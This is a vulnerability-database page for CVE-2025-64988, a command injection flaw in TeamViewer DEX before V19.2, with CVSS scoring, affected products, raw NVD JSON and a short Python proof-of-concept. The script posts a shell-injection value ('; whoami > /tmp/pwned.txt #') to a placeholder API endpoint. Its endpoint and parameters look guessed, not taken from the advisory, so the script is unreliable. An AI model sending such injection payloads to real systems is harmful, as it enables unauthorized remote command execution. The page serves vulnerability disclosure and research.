Security Vulnerability Report
中文
CVE-2025-64988 CVSS 7.2 HIGH

CVE-2025-64988

Published: 2025-12-11 12:16:26
Last Modified: 2026-01-14 20:16:56

Description

A command injection vulnerability was discovered in TeamViewer DEX (former 1E DEX), specifically within the 1E-Nomad-GetCmContentLocations instruction prior V19.2. Improper input validation, allowing authenticated attackers with Actioner privileges to inject arbitrary commands. Exploitation enables remote execution of elevated commands on devices connected to the platform.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:teamviewer:digital_employee_experience:*:*:*:*:*:*:*:* - VULNERABLE
TeamViewer DEX (1E DEX) < V19.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-64988 PoC - TeamViewer DEX Command Injection # Target: 1E-Nomad-GetCmContentLocations instruction TARGET_URL = "https://target-server/api/v1/instruction" AUTH_TOKEN = "your_auth_token_here" def exploit_cve_2025_64988(): headers = { 'Authorization': f'Bearer {AUTH_TOKEN}', 'Content-Type': 'application/json' } # Malicious payload for command injection payload = { 'instruction': '1E-Nomad-GetCmContentLocations', 'parameters': { 'location': '; whoami > /tmp/pwned.txt #' # Command injection } } try: response = requests.post(TARGET_URL, headers=headers, json=payload, timeout=30) print(f"Status: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": print("CVE-2025-64988 Exploitation Test") exploit_cve_2025_64988()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64988", "sourceIdentifier": "[email protected]", "published": "2025-12-11T12:16:25.667", "lastModified": "2026-01-14T20:16:56.023", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability was discovered in TeamViewer DEX (former 1E DEX), specifically within the 1E-Nomad-GetCmContentLocations instruction prior V19.2. Improper input validation, allowing authenticated attackers with Actioner privileges to inject arbitrary commands. Exploitation enables remote execution of elevated commands on devices connected to the platform."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:teamviewer:digital_employee_experience:*:*:*:*:*:*:*:*", "versionEndExcluding": "19.2", "matchCriteriaId": "7E8D7CDB-3B7F-431B-90CA-0D21E0968657"}]}]}], "references": [{"url": "https://www.teamviewer.com/en/resources/trust-center/security-bulletins/tv-2025-1006/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}